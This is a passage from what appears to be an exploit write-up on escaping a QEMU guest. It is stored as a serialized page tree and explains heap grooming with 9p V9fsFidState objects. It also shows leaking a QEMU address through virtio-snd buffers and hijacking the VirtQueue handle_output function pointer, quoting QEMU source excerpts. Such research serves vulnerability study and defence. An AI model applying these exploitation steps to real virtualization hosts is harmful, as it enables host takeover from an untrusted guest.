BUG_ON",{"type":21,"tag":198,"props":130837,"children":130838},{"style":211},[130839],{"type":27,"value":706},{"type":21,"tag":198,"props":130841,"children":130842},{"style":226},[130843],{"type":27,"value":33864},{"type":21,"tag":198,"props":130845,"children":130846},{"style":211},[130847],{"type":27,"value":14564},{"type":21,"tag":198,"props":130849,"children":130850},{"style":226},[130851],{"type":27,"value":130852},"clunked",{"type":21,"tag":198,"props":130854,"children":130855},{"style":211},[130856],{"type":27,"value":1470},{"type":21,"tag":198,"props":130858,"children":130859},{"class":200,"line":24302},[130860,130864,130868],{"type":21,"tag":198,"props":130861,"children":130862},{"style":640},[130863],{"type":27,"value":16547},{"type":21,"tag":198,"props":130865,"children":130866},{"style":249},[130867],{"type":27,"value":128152},{"type":21,"tag":198,"props":130869,"children":130870},{"style":211},[130871],{"type":27,"value":1483},{"type":21,"tag":198,"props":130873,"children":130874},{"class":200,"line":24337},[130875],{"type":21,"tag":198,"props":130876,"children":130877},{"style":211},[130878],{"type":27,"value":880},{"type":21,"tag":198,"props":130880,"children":130881},{"class":200,"line":24345},[130882,130886,130890,130895,130900,130904],{"type":21,"tag":198,"props":130883,"children":130884},{"style":211},[130885],{"type":27,"value":130767},{"type":21,"tag":198,"props":130887,"children":130888},{"style":683},[130889],{"type":27,"value":3174},{"type":21,"tag":198,"props":130891,"children":130892},{"style":698},[130893],{"type":27,"value":130894}," g_new0",{"type":21,"tag":198,"props":130896,"children":130897},{"style":211},[130898],{"type":27,"value":130899},"(V9fsFidState, ",{"type":21,"tag":198,"props":130901,"children":130902},{"style":2540},[130903],{"type":27,"value":134},{"type":21,"tag":198,"props":130905,"children":130906},{"style":211},[130907],{"type":27,"value":1470},{"type":21,"tag":198,"props":130909,"children":130910},{"class":200,"line":24353},[130911],{"type":21,"tag":198,"props":130912,"children":130913},{"emptyLinePlaceholder":16},[130914],{"type":27,"value":1283},{"type":21,"tag":198,"props":130916,"children":130917},{"class":200,"line":24362},[130918],{"type":21,"tag":198,"props":130919,"children":130920},{"style":211},[130921],{"type":27,"value":105183},{"type":21,"tag":30,"props":130923,"children":130924},{},[130925,130927,130932],{"type":27,"value":130926},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":21,"tag":194,"props":130928,"children":130930},{"className":130929},[],[130931],{"type":27,"value":129727},{"type":27,"value":129064},{"type":21,"tag":187,"props":130934,"children":130936},{"code":130935}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[130937],{"type":21,"tag":194,"props":130938,"children":130939},{"__ignoreMap":7},[130940],{"type":27,"value":130935},{"type":21,"tag":162,"props":130942,"children":130944},{"id":130943},"leaking-a-qemu-address",[130945],{"type":27,"value":130946},"Leaking a QEMU Address",{"type":21,"tag":30,"props":130948,"children":130949},{},[130950],{"type":27,"value":130951},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":21,"tag":30,"props":130953,"children":130954},{},[130955,130957,130962],{"type":27,"value":130956},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":21,"tag":194,"props":130958,"children":130960},{"className":130959},[],[130961],{"type":27,"value":124147},{"type":27,"value":185},{"type":21,"tag":187,"props":130964,"children":130966},{"code":130965,"language":3954,"meta":7,"className":17318,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[130967],{"type":21,"tag":194,"props":130968,"children":130969},{"__ignoreMap":7},[130970,131013,131020,131051,131066,131081,131093,131106,131113,131120,131127,131138,131153,131160,131188,131207,131218,131225,131233,131270,131291,131303,131316,131329,131355,131367,131374,131412,131419,131426,131433,131464,131519,131531,131572,131595,131624,131651,131678,131710],{"type":21,"tag":198,"props":130971,"children":130972},{"class":200,"line":201},[130973,130977,130981,130985,130989,130993,130997,131001,131005,131009],{"type":21,"tag":198,"props":130974,"children":130975},{"style":249},[130976],{"type":27,"value":51420},{"type":21,"tag":198,"props":130978,"children":130979},{"style":249},[130980],{"type":27,"value":51425},{"type":21,"tag":198,"props":130982,"children":130983},{"style":698},[130984],{"type":27,"value":124226},{"type":21,"tag":198,"props":130986,"children":130987},{"style":211},[130988],{"type":27,"value":124231},{"type":21,"tag":198,"props":130990,"children":130991},{"style":683},[130992],{"type":27,"value":5383},{"type":21,"tag":198,"props":130994,"children":130995},{"style":226},[130996],{"type":27,"value":124240},{"type":21,"tag":198,"props":130998,"children":130999},{"style":211},[131000],{"type":27,"value":124245},{"type":21,"tag":198,"props":131002,"children":131003},{"style":683},[131004],{"type":27,"value":5383},{"type":21,"tag":198,"props":131006,"children":131007},{"style":226},[131008],{"type":27,"value":124254},{"type":21,"tag":198,"props":131010,"children":131011},{"style":211},[131012],{"type":27,"value":789},{"type":21,"tag":198,"props":131014,"children":131015},{"class":200,"line":217},[131016],{"type":21,"tag":198,"props":131017,"children":131018},{"style":211},[131019],{"type":27,"value":11689},{"type":21,"tag":198,"props":131021,"children":131022},{"class":200,"line":236},[131023,131028,131032,131037,131041,131046],{"type":21,"tag":198,"props":131024,"children":131025},{"style":211},[131026],{"type":27,"value":131027}," VirtIOSound ",{"type":21,"tag":198,"props":131029,"children":131030},{"style":683},[131031],{"type":27,"value":5383},{"type":21,"tag":198,"props":131033,"children":131034},{"style":211},[131035],{"type":27,"value":131036},"vsnd ",{"type":21,"tag":198,"props":131038,"children":131039},{"style":683},[131040],{"type":27,"value":3174},{"type":21,"tag":198,"props":131042,"children":131043},{"style":698},[131044],{"type":27,"value":131045}," VIRTIO_SND",{"type":21,"tag":198,"props":131047,"children":131048},{"style":211},[131049],{"type":27,"value":131050},"(vdev);\n",{"type":21,"tag":198,"props":131052,"children":131053},{"class":200,"line":260},[131054,131058,131062],{"type":21,"tag":198,"props":131055,"children":131056},{"style":211},[131057],{"type":27,"value":125244},{"type":21,"tag":198,"props":131059,"children":131060},{"style":683},[131061],{"type":27,"value":5383},{"type":21,"tag":198,"props":131063,"children":131064},{"style":211},[131065],{"type":27,"value":125253},{"type":21,"tag":198,"props":131067,"children":131068},{"class":200,"line":281},[131069,131073,131077],{"type":21,"tag":198,"props":131070,"children":131071},{"style":211},[131072],{"type":27,"value":124273},{"type":21,"tag":198,"props":131074,"children":131075},{"style":683},[131076],{"type":27,"value":5383},{"type":21,"tag":198,"props":131078,"children":131079},{"style":211},[131080],{"type":27,"value":124282},{"type":21,"tag":198,"props":131082,"children":131083},{"class":200,"line":302},[131084,131088],{"type":21,"tag":198,"props":131085,"children":131086},{"style":249},[131087],{"type":27,"value":17368},{"type":21,"tag":198,"props":131089,"children":131090},{"style":211},[131091],{"type":27,"value":131092}," msg_sz, size;\n",{"type":21,"tag":198,"props":131094,"children":131095},{"class":200,"line":323},[131096,131101],{"type":21,"tag":198,"props":131097,"children":131098},{"style":249},[131099],{"type":27,"value":131100}," uint32_t",{"type":21,"tag":198,"props":131102,"children":131103},{"style":211},[131104],{"type":27,"value":131105}," stream_id;\n",{"type":21,"tag":198,"props":131107,"children":131108},{"class":200,"line":344},[131109],{"type":21,"tag":198,"props":131110,"children":131111},{"emptyLinePlaceholder":16},[131112],{"type":27,"value":1283},{"type":21,"tag":198,"props":131114,"children":131115},{"class":200,"line":365},[131116],{"type":21,"tag":198,"props":131117,"children":131118},{"style":211},[131119],{"type":27,"value":105183},{"type":21,"tag":198,"props":131121,"children":131122},{"class":200,"line":386},[131123],{"type":21,"tag":198,"props":131124,"children":131125},{"emptyLinePlaceholder":16},[131126],{"type":27,"value":1283},{"type":21,"tag":198,"props":131128,"children":131129},{"class":200,"line":408},[131130,131134],{"type":21,"tag":198,"props":131131,"children":131132},{"style":640},[131133],{"type":27,"value":3840},{"type":21,"tag":198,"props":131135,"children":131136},{"style":211},[131137],{"type":27,"value":124308},{"type":21,"tag":198,"props":131139,"children":131140},{"class":200,"line":429},[131141,131145,131149],{"type":21,"tag":198,"props":131142,"children":131143},{"style":211},[131144],{"type":27,"value":124316},{"type":21,"tag":198,"props":131146,"children":131147},{"style":683},[131148],{"type":27,"value":5383},{"type":21,"tag":198,"props":131150,"children":131151},{"style":211},[131152],{"type":27,"value":124325},{"type":21,"tag":198,"props":131154,"children":131155},{"class":200,"line":450},[131156],{"type":21,"tag":198,"props":131157,"children":131158},{"emptyLinePlaceholder":16},[131159],{"type":27,"value":1283},{"type":21,"tag":198,"props":131161,"children":131162},{"class":200,"line":468},[131163,131167,131171,131175,131179,131183],{"type":21,"tag":198,"props":131164,"children":131165},{"style":211},[131166],{"type":27,"value":124340},{"type":21,"tag":198,"props":131168,"children":131169},{"style":683},[131170],{"type":27,"value":3174},{"type":21,"tag":198,"props":131172,"children":131173},{"style":698},[131174],{"type":27,"value":124349},{"type":21,"tag":198,"props":131176,"children":131177},{"style":211},[131178],{"type":27,"value":124354},{"type":21,"tag":198,"props":131180,"children":131181},{"style":249},[131182],{"type":27,"value":55704},{"type":21,"tag":198,"props":131184,"children":131185},{"style":211},[131186],{"type":27,"value":131187},"(VirtQueueElement));\n",{"type":21,"tag":198,"props":131189,"children":131190},{"class":200,"line":477},[131191,131195,131199,131203],{"type":21,"tag":198,"props":131192,"children":131193},{"style":640},[131194],{"type":27,"value":4079},{"type":21,"tag":198,"props":131196,"children":131197},{"style":211},[131198],{"type":27,"value":648},{"type":21,"tag":198,"props":131200,"children":131201},{"style":683},[131202],{"type":27,"value":686},{"type":21,"tag":198,"props":131204,"children":131205},{"style":211},[131206],{"type":27,"value":124388},{"type":21,"tag":198,"props":131208,"children":131209},{"class":200,"line":494},[131210,131214],{"type":21,"tag":198,"props":131211,"children":131212},{"style":640},[131213],{"type":27,"value":4105},{"type":21,"tag":198,"props":131215,"children":131216},{"style":211},[131217],{"type":27,"value":1483},{"type":21,"tag":198,"props":131219,"children":131220},{"class":200,"line":515},[131221],{"type":21,"tag":198,"props":131222,"children":131223},{"style":211},[131224],{"type":27,"value":1160},{"type":21,"tag":198,"props":131226,"children":131227},{"class":200,"line":4484},[131228],{"type":21,"tag":198,"props":131229,"children":131230},{"style":1233},[131231],{"type":27,"value":131232}," /* get the message hdr object */\n",{"type":21,"tag":198,"props":131234,"children":131235},{"class":200,"line":4493},[131236,131241,131245,131250,131254,131258,131262,131266],{"type":21,"tag":198,"props":131237,"children":131238},{"style":211},[131239],{"type":27,"value":131240}," msg_sz ",{"type":21,"tag":198,"props":131242,"children":131243},{"style":683},[131244],{"type":27,"value":3174},{"type":21,"tag":198,"props":131246,"children":131247},{"style":698},[131248],{"type":27,"value":131249}," iov_to_buf",{"type":21,"tag":198,"props":131251,"children":131252},{"style":211},[131253],{"type":27,"value":706},{"type":21,"tag":198,"props":131255,"children":131256},{"style":226},[131257],{"type":27,"value":52440},{"type":21,"tag":198,"props":131259,"children":131260},{"style":211},[131261],{"type":27,"value":14564},{"type":21,"tag":198,"props":131263,"children":131264},{"style":226},[131265],{"type":27,"value":124792},{"type":21,"tag":198,"props":131267,"children":131268},{"style":211},[131269],{"type":27,"value":257},{"type":21,"tag":198,"props":131271,"children":131272},{"class":200,"line":4561},[131273,131278,131282,131287],{"type":21,"tag":198,"props":131274,"children":131275},{"style":226},[131276],{"type":27,"value":131277}," elem",{"type":21,"tag":198,"props":131279,"children":131280},{"style":211},[131281],{"type":27,"value":14564},{"type":21,"tag":198,"props":131283,"children":131284},{"style":226},[131285],{"type":27,"value":131286},"out_num",{"type":21,"tag":198,"props":131288,"children":131289},{"style":211},[131290],{"type":27,"value":257},{"type":21,"tag":198,"props":131292,"children":131293},{"class":200,"line":4569},[131294,131299],{"type":21,"tag":198,"props":131295,"children":131296},{"style":2540},[131297],{"type":27,"value":131298}," 0",{"type":21,"tag":198,"props":131300,"children":131301},{"style":211},[131302],{"type":27,"value":257},{"type":21,"tag":198,"props":131304,"children":131305},{"class":200,"line":4599},[131306,131311],{"type":21,"tag":198,"props":131307,"children":131308},{"style":683},[131309],{"type":27,"value":131310}," &",{"type":21,"tag":198,"props":131312,"children":131313},{"style":211},[131314],{"type":27,"value":131315},"hdr,\n",{"type":21,"tag":198,"props":131317,"children":131318},{"class":200,"line":4607},[131319,131324],{"type":21,"tag":198,"props":131320,"children":131321},{"style":249},[131322],{"type":27,"value":131323}," sizeof",{"type":21,"tag":198,"props":131325,"children":131326},{"style":211},[131327],{"type":27,"value":131328},"(virtio_snd_pcm_xfer));\n",{"type":21,"tag":198,"props":131330,"children":131331},{"class":200,"line":4638},[131332,131336,131341,131345,131350],{"type":21,"tag":198,"props":131333,"children":131334},{"style":640},[131335],{"type":27,"value":4079},{"type":21,"tag":198,"props":131337,"children":131338},{"style":211},[131339],{"type":27,"value":131340}," (msg_sz ",{"type":21,"tag":198,"props":131342,"children":131343},{"style":683},[131344],{"type":27,"value":16491},{"type":21,"tag":198,"props":131346,"children":131347},{"style":249},[131348],{"type":27,"value":131349}," sizeof",{"type":21,"tag":198,"props":131351,"children":131352},{"style":211},[131353],{"type":27,"value":131354},"(virtio_snd_pcm_xfer)) {\n",{"type":21,"tag":198,"props":131356,"children":131357},{"class":200,"line":4646},[131358,131362],{"type":21,"tag":198,"props":131359,"children":131360},{"style":640},[131361],{"type":27,"value":60927},{"type":21,"tag":198,"props":131363,"children":131364},{"style":211},[131365],{"type":27,"value":131366}," rx_err;\n",{"type":21,"tag":198,"props":131368,"children":131369},{"class":200,"line":4706},[131370],{"type":21,"tag":198,"props":131371,"children":131372},{"style":211},[131373],{"type":27,"value":1160},{"type":21,"tag":198,"props":131375,"children":131376},{"class":200,"line":9857},[131377,131382,131386,131390,131394,131399,131403,131408],{"type":21,"tag":198,"props":131378,"children":131379},{"style":211},[131380],{"type":27,"value":131381}," stream_id ",{"type":21,"tag":198,"props":131383,"children":131384},{"style":683},[131385],{"type":27,"value":3174},{"type":21,"tag":198,"props":131387,"children":131388},{"style":698},[131389],{"type":27,"value":126254},{"type":21,"tag":198,"props":131391,"children":131392},{"style":211},[131393],{"type":27,"value":706},{"type":21,"tag":198,"props":131395,"children":131396},{"style":226},[131397],{"type":27,"value":131398},"hdr",{"type":21,"tag":198,"props":131400,"children":131401},{"style":211},[131402],{"type":27,"value":658},{"type":21,"tag":198,"props":131404,"children":131405},{"style":226},[131406],{"type":27,"value":131407},"stream_id",{"type":21,"tag":198,"props":131409,"children":131410},{"style":211},[131411],{"type":27,"value":1470},{"type":21,"tag":198,"props":131413,"children":131414},{"class":200,"line":9875},[131415],{"type":21,"tag":198,"props":131416,"children":131417},{"emptyLinePlaceholder":16},[131418],{"type":27,"value":1283},{"type":21,"tag":198,"props":131420,"children":131421},{"class":200,"line":9920},[131422],{"type":21,"tag":198,"props":131423,"children":131424},{"style":211},[131425],{"type":27,"value":124421},{"type":21,"tag":198,"props":131427,"children":131428},{"class":200,"line":10026},[131429],{"type":21,"tag":198,"props":131430,"children":131431},{"emptyLinePlaceholder":16},[131432],{"type":27,"value":1283},{"type":21,"tag":198,"props":131434,"children":131435},{"class":200,"line":24302},[131436,131440,131444,131448,131452,131456,131460],{"type":21,"tag":198,"props":131437,"children":131438},{"style":698},[131439],{"type":27,"value":124436},{"type":21,"tag":198,"props":131441,"children":131442},{"style":211},[131443],{"type":27,"value":706},{"type":21,"tag":198,"props":131445,"children":131446},{"style":683},[131447],{"type":27,"value":3917},{"type":21,"tag":198,"props":131449,"children":131450},{"style":226},[131451],{"type":27,"value":37033},{"type":21,"tag":198,"props":131453,"children":131454},{"style":211},[131455],{"type":27,"value":14564},{"type":21,"tag":198,"props":131457,"children":131458},{"style":226},[131459],{"type":27,"value":124457},{"type":21,"tag":198,"props":131461,"children":131462},{"style":211},[131463],{"type":27,"value":668},{"type":21,"tag":198,"props":131465,"children":131466},{"class":200,"line":24337},[131467,131471,131475,131479,131483,131487,131491,131495,131499,131503,131507,131511,131515],{"type":21,"tag":198,"props":131468,"children":131469},{"style":211},[131470],{"type":27,"value":124469},{"type":21,"tag":198,"props":131472,"children":131473},{"style":683},[131474],{"type":27,"value":3174},{"type":21,"tag":198,"props":131476,"children":131477},{"style":698},[131478],{"type":27,"value":124478},{"type":21,"tag":198,"props":131480,"children":131481},{"style":211},[131482],{"type":27,"value":706},{"type":21,"tag":198,"props":131484,"children":131485},{"style":226},[131486],{"type":27,"value":52440},{"type":21,"tag":198,"props":131488,"children":131489},{"style":211},[131490],{"type":27,"value":14564},{"type":21,"tag":198,"props":131492,"children":131493},{"style":226},[131494],{"type":27,"value":124495},{"type":21,"tag":198,"props":131496,"children":131497},{"style":211},[131498],{"type":27,"value":828},{"type":21,"tag":198,"props":131500,"children":131501},{"style":226},[131502],{"type":27,"value":52440},{"type":21,"tag":198,"props":131504,"children":131505},{"style":211},[131506],{"type":27,"value":14564},{"type":21,"tag":198,"props":131508,"children":131509},{"style":226},[131510],{"type":27,"value":124512},{"type":21,"tag":198,"props":131512,"children":131513},{"style":211},[131514],{"type":27,"value":1541},{"type":21,"tag":198,"props":131516,"children":131517},{"style":683},[131518],{"type":27,"value":51237},{"type":21,"tag":198,"props":131520,"children":131521},{"class":200,"line":24345},[131522,131526],{"type":21,"tag":198,"props":131523,"children":131524},{"style":249},[131525],{"type":27,"value":124528},{"type":21,"tag":198,"props":131527,"children":131528},{"style":211},[131529],{"type":27,"value":131530},"(virtio_snd_pcm_status);\n",{"type":21,"tag":198,"props":131532,"children":131533},{"class":200,"line":24353},[131534,131538,131542,131546,131550,131554,131558,131562,131567],{"type":21,"tag":198,"props":131535,"children":131536},{"style":211},[131537],{"type":27,"value":124546},{"type":21,"tag":198,"props":131539,"children":131540},{"style":683},[131541],{"type":27,"value":3174},{"type":21,"tag":198,"props":131543,"children":131544},{"style":698},[131545],{"type":27,"value":124555},{"type":21,"tag":198,"props":131547,"children":131548},{"style":211},[131549],{"type":27,"value":706},{"type":21,"tag":198,"props":131551,"children":131552},{"style":249},[131553],{"type":27,"value":55704},{"type":21,"tag":198,"props":131555,"children":131556},{"style":211},[131557],{"type":27,"value":124568},{"type":21,"tag":198,"props":131559,"children":131560},{"style":683},[131561],{"type":27,"value":5193},{"type":21,"tag":198,"props":131563,"children":131564},{"style":211},[131565],{"type":27,"value":131566}," size);",{"type":21,"tag":198,"props":131568,"children":131569},{"style":1233},[131570],{"type":27,"value":131571}," // [1]\n",{"type":21,"tag":198,"props":131573,"children":131574},{"class":200,"line":24362},[131575,131579,131583,131587,131591],{"type":21,"tag":198,"props":131576,"children":131577},{"style":226},[131578],{"type":27,"value":124585},{"type":21,"tag":198,"props":131580,"children":131581},{"style":211},[131582],{"type":27,"value":14564},{"type":21,"tag":198,"props":131584,"children":131585},{"style":226},[131586],{"type":27,"value":52440},{"type":21,"tag":198,"props":131588,"children":131589},{"style":683},[131590],{"type":27,"value":979},{"type":21,"tag":198,"props":131592,"children":131593},{"style":211},[131594],{"type":27,"value":124602},{"type":21,"tag":198,"props":131596,"children":131597},{"class":200,"line":24404},[131598,131602,131606,131610,131614,131619],{"type":21,"tag":198,"props":131599,"children":131600},{"style":226},[131601],{"type":27,"value":124585},{"type":21,"tag":198,"props":131603,"children":131604},{"style":211},[131605],{"type":27,"value":14564},{"type":21,"tag":198,"props":131607,"children":131608},{"style":226},[131609],{"type":27,"value":124254},{"type":21,"tag":198,"props":131611,"children":131612},{"style":683},[131613],{"type":27,"value":979},{"type":21,"tag":198,"props":131615,"children":131616},{"style":211},[131617],{"type":27,"value":131618}," vq;",{"type":21,"tag":198,"props":131620,"children":131621},{"style":1233},[131622],{"type":27,"value":131623}," // [2]\n",{"type":21,"tag":198,"props":131625,"children":131626},{"class":200,"line":24437},[131627,131631,131635,131639,131643,131647],{"type":21,"tag":198,"props":131628,"children":131629},{"style":226},[131630],{"type":27,"value":124585},{"type":21,"tag":198,"props":131632,"children":131633},{"style":211},[131634],{"type":27,"value":14564},{"type":21,"tag":198,"props":131636,"children":131637},{"style":226},[131638],{"type":27,"value":124642},{"type":21,"tag":198,"props":131640,"children":131641},{"style":683},[131642],{"type":27,"value":979},{"type":21,"tag":198,"props":131644,"children":131645},{"style":2540},[131646],{"type":27,"value":3855},{"type":21,"tag":198,"props":131648,"children":131649},{"style":211},[131650],{"type":27,"value":1483},{"type":21,"tag":198,"props":131652,"children":131653},{"class":200,"line":24445},[131654,131658,131662,131666,131670,131674],{"type":21,"tag":198,"props":131655,"children":131656},{"style":226},[131657],{"type":27,"value":124585},{"type":21,"tag":198,"props":131659,"children":131660},{"style":211},[131661],{"type":27,"value":14564},{"type":21,"tag":198,"props":131663,"children":131664},{"style":226},[131665],{"type":27,"value":14708},{"type":21,"tag":198,"props":131667,"children":131668},{"style":683},[131669],{"type":27,"value":979},{"type":21,"tag":198,"props":131671,"children":131672},{"style":2540},[131673],{"type":27,"value":3855},{"type":21,"tag":198,"props":131675,"children":131676},{"style":211},[131677],{"type":27,"value":1483},{"type":21,"tag":198,"props":131679,"children":131680},{"class":200,"line":24453},[131681,131685,131689,131693,131697,131701,131705],{"type":21,"tag":198,"props":131682,"children":131683},{"style":698},[131684],{"type":27,"value":124689},{"type":21,"tag":198,"props":131686,"children":131687},{"style":211},[131688],{"type":27,"value":706},{"type":21,"tag":198,"props":131690,"children":131691},{"style":683},[131692],{"type":27,"value":3917},{"type":21,"tag":198,"props":131694,"children":131695},{"style":226},[131696],{"type":27,"value":37033},{"type":21,"tag":198,"props":131698,"children":131699},{"style":211},[131700],{"type":27,"value":14564},{"type":21,"tag":198,"props":131702,"children":131703},{"style":226},[131704],{"type":27,"value":124710},{"type":21,"tag":198,"props":131706,"children":131707},{"style":211},[131708],{"type":27,"value":131709},", buffer, entry);\n",{"type":21,"tag":198,"props":131711,"children":131712},{"class":200,"line":24462},[131713],{"type":21,"tag":198,"props":131714,"children":131715},{"style":211},[131716],{"type":27,"value":1160},{"type":21,"tag":30,"props":131718,"children":131719},{},[131720,131721,131726,131728,131733,131735,131740,131742,131748],{"type":27,"value":124764},{"type":21,"tag":194,"props":131722,"children":131724},{"className":131723},[],[131725],{"type":27,"value":124770},{"type":27,"value":131727},", QEMU allocates a ",{"type":21,"tag":194,"props":131729,"children":131731},{"className":131730},[],[131732],{"type":27,"value":124907},{"type":27,"value":131734}," whose size depends on the guest-provided iovec, and at ",{"type":21,"tag":194,"props":131736,"children":131738},{"className":131737},[],[131739],{"type":27,"value":124805},{"type":27,"value":131741}," it stores the ",{"type":21,"tag":194,"props":131743,"children":131745},{"className":131744},[],[131746],{"type":27,"value":131747},"VirtQueue *vq",{"type":27,"value":131749}," pointer into the buffer.",{"type":21,"tag":30,"props":131751,"children":131752},{},[131753,131754,131760],{"type":27,"value":64595},{"type":21,"tag":194,"props":131755,"children":131757},{"className":131756},[],[131758],{"type":27,"value":131759},"VirtQueue",{"type":27,"value":131761}," structure contains some useful fields:",{"type":21,"tag":187,"props":131763,"children":131765},{"code":131764,"language":3954,"meta":7,"className":17318,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[131766],{"type":21,"tag":194,"props":131767,"children":131768},{"__ignoreMap":7},[131769,131781,131788,131795,131802,131810,131827,131834,131841],{"type":21,"tag":198,"props":131770,"children":131771},{"class":200,"line":201},[131772,131776],{"type":21,"tag":198,"props":131773,"children":131774},{"style":249},[131775],{"type":27,"value":10213},{"type":21,"tag":198,"props":131777,"children":131778},{"style":211},[131779],{"type":27,"value":131780}," VirtQueue\n",{"type":21,"tag":198,"props":131782,"children":131783},{"class":200,"line":217},[131784],{"type":21,"tag":198,"props":131785,"children":131786},{"style":211},[131787],{"type":27,"value":11689},{"type":21,"tag":198,"props":131789,"children":131790},{"class":200,"line":236},[131791],{"type":21,"tag":198,"props":131792,"children":131793},{"style":211},[131794],{"type":27,"value":105183},{"type":21,"tag":198,"props":131796,"children":131797},{"class":200,"line":260},[131798],{"type":21,"tag":198,"props":131799,"children":131800},{"emptyLinePlaceholder":16},[131801],{"type":27,"value":1283},{"type":21,"tag":198,"props":131803,"children":131804},{"class":200,"line":281},[131805],{"type":21,"tag":198,"props":131806,"children":131807},{"style":211},[131808],{"type":27,"value":131809}," VirtIOHandleOutput handle_output;\n",{"type":21,"tag":198,"props":131811,"children":131812},{"class":200,"line":302},[131813,131818,131822],{"type":21,"tag":198,"props":131814,"children":131815},{"style":211},[131816],{"type":27,"value":131817}," VirtIODevice ",{"type":21,"tag":198,"props":131819,"children":131820},{"style":683},[131821],{"type":27,"value":5383},{"type":21,"tag":198,"props":131823,"children":131824},{"style":211},[131825],{"type":27,"value":131826},"vdev;\n",{"type":21,"tag":198,"props":131828,"children":131829},{"class":200,"line":323},[131830],{"type":21,"tag":198,"props":131831,"children":131832},{"emptyLinePlaceholder":16},[131833],{"type":27,"value":1283},{"type":21,"tag":198,"props":131835,"children":131836},{"class":200,"line":344},[131837],{"type":21,"tag":198,"props":131838,"children":131839},{"style":211},[131840],{"type":27,"value":105183},{"type":21,"tag":198,"props":131842,"children":131843},{"class":200,"line":365},[131844],{"type":21,"tag":198,"props":131845,"children":131846},{"style":211},[131847],{"type":27,"value":2357},{"type":21,"tag":30,"props":131849,"children":131850},{},[131851,131852,131858,131860,131866],{"type":27,"value":534},{"type":21,"tag":194,"props":131853,"children":131855},{"className":131854},[],[131856],{"type":27,"value":131857},".handle_output",{"type":27,"value":131859}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":21,"tag":194,"props":131861,"children":131863},{"className":131862},[],[131864],{"type":27,"value":131865},".vdev",{"type":27,"value":131867}," is the pointer passed to it as the first argument:",{"type":21,"tag":187,"props":131869,"children":131871},{"code":131870,"language":3954,"meta":7,"className":17318,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[131872],{"type":21,"tag":194,"props":131873,"children":131874},{"__ignoreMap":7},[131875,131908,131915,131970,132007,132014,132021,132028,132049,132056,132063,132070],{"type":21,"tag":198,"props":131876,"children":131877},{"class":200,"line":201},[131878,131882,131886,131891,131896,131900,131904],{"type":21,"tag":198,"props":131879,"children":131880},{"style":249},[131881],{"type":27,"value":51420},{"type":21,"tag":198,"props":131883,"children":131884},{"style":249},[131885],{"type":27,"value":51425},{"type":21,"tag":198,"props":131887,"children":131888},{"style":698},[131889],{"type":27,"value":131890}," virtio_queue_notify_vq",{"type":21,"tag":198,"props":131892,"children":131893},{"style":211},[131894],{"type":27,"value":131895},"(VirtQueue ",{"type":21,"tag":198,"props":131897,"children":131898},{"style":683},[131899],{"type":27,"value":5383},{"type":21,"tag":198,"props":131901,"children":131902},{"style":226},[131903],{"type":27,"value":124254},{"type":21,"tag":198,"props":131905,"children":131906},{"style":211},[131907],{"type":27,"value":789},{"type":21,"tag":198,"props":131909,"children":131910},{"class":200,"line":217},[131911],{"type":21,"tag":198,"props":131912,"children":131913},{"style":211},[131914],{"type":27,"value":11689},{"type":21,"tag":198,"props":131916,"children":131917},{"class":200,"line":236},[131918,131922,131926,131930,131934,131939,131943,131948,131952,131957,131961,131966],{"type":21,"tag":198,"props":131919,"children":131920},{"style":640},[131921],{"type":27,"value":643},{"type":21,"tag":198,"props":131923,"children":131924},{"style":211},[131925],{"type":27,"value":648},{"type":21,"tag":198,"props":131927,"children":131928},{"style":226},[131929],{"type":27,"value":124254},{"type":21,"tag":198,"props":131931,"children":131932},{"style":211},[131933],{"type":27,"value":14564},{"type":21,"tag":198,"props":131935,"children":131936},{"style":226},[131937],{"type":27,"value":131938},"vring",{"type":21,"tag":198,"props":131940,"children":131941},{"style":211},[131942],{"type":27,"value":658},{"type":21,"tag":198,"props":131944,"children":131945},{"style":226},[131946],{"type":27,"value":131947},"desc",{"type":21,"tag":198,"props":131949,"children":131950},{"style":683},[131951],{"type":27,"value":1819},{"type":21,"tag":198,"props":131953,"children":131954},{"style":226},[131955],{"type":27,"value":131956}," 